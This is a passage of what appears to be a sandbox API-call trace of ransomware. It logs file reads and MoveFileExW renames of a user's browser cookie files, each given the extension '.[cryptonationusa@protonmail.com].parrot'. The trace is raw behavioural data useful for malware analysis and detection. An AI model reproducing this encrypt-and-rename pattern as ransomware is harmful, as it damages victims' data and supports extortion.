lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x66, lpOverlapped=0x0) returned 1 [0090.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.110] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.110] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.115] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.115] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.116] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.116] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x66, lpOverlapped=0x0) returned 1 [0090.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.116] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.117] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.120] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.120] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.121] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.121] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x5d, lpOverlapped=0x0) returned 1 [0090.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.121] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.121] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.135] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.135] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.136] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.136] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xea, lpOverlapped=0x0) returned 1 [0090.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.136] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.136] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.143] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.143] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.144] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x242, lpOverlapped=0x0) returned 1 [0090.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.147] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.147] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.148] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x65, lpOverlapped=0x0) returned 1 [0090.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.149] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.151] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.151] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.152] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.152] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x52, lpOverlapped=0x0) returned 1 [0090.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.152] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.153] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.155] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.155] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.156] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.156] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x125, lpOverlapped=0x0) returned 1 [0090.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.156] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.157] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.159] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.160] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.160] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.160] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xdd, lpOverlapped=0x0) returned 1 [0090.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.161] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.161] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.164] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.164] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.165] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.165] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x201, lpOverlapped=0x0) returned 1 [0090.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.165] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.166] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.168] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.168] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.169] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.169] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1ea, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1ea, lpOverlapped=0x0) returned 1 [0090.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.169] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.170] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.172] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.172] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.173] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1c8, lpOverlapped=0x0) returned 1 [0090.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.174] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.174] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.176] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.177] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.177] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.177] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x82, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x82, lpOverlapped=0x0) returned 1 [0090.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.178] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.178] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js 